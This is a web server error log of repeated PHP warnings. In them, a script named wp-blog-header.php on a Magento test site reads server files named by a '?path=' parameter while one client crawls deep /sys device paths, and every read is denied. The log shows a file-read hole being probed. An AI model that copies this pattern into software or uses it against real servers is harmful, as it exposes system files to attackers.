[Thu Mar 26 11:18:41.199756 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:da
[Thu Mar 26 11:18:47.126149 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ec
[Thu Mar 26 11:18:48.676142 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ba
[Thu Mar 26 11:18:50.251920 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:fe
[Thu Mar 26 11:18:53.333734 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce
[Thu Mar 26 11:19:02.201367 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fc
[Thu Mar 26 11:19:07.583410 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 11:19:14.122860 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ec
[Thu Mar 26 11:19:14.609812 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ea
[Thu Mar 26 11:19:15.738564 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:19:16.232135 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:19:16.880661 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fa
[Thu Mar 26 11:19:17.955607 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ae
[Thu Mar 26 11:19:18.956088 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ac
[Thu Mar 26 11:19:24.185537 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:da
[Thu Mar 26 11:19:28.446211 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fe
[Thu Mar 26 11:19:29.973676 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:19:30.533988 2026] [php:warn] [pid 3117489] [client 74.7.241.26:56066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:19:38.418206 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:19:41.605161 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ba
[Thu Mar 26 11:19:47.338113 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:19:51.517202 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:19:53.602814 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ee
[Thu Mar 26 11:19:54.690794 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 11:19:55.126848 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:19:56.227457 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:19:56.717294 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:da
[Thu Mar 26 11:19:59.369742 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:da
[Thu Mar 26 11:20:02.036797 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:20:03.059488 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:20:05.181535 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:20:07.207218 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:fe
[Thu Mar 26 11:20:07.778668 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fc
[Thu Mar 26 11:20:08.280451 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ce
[Thu Mar 26 11:20:10.872659 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:da
[Thu Mar 26 11:20:15.117129 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ba
[Thu Mar 26 11:20:20.600910 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:be
[Thu Mar 26 11:20:24.957884 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:20:28.122277 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:20:28.699374 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ac
[Thu Mar 26 11:20:31.298693 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:20:32.398237 2026] [php:warn] [pid 3106381] [client 74.7.241.26:49210] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:20:33.226782 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ee
[Thu Mar 26 11:20:36.517329 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ec
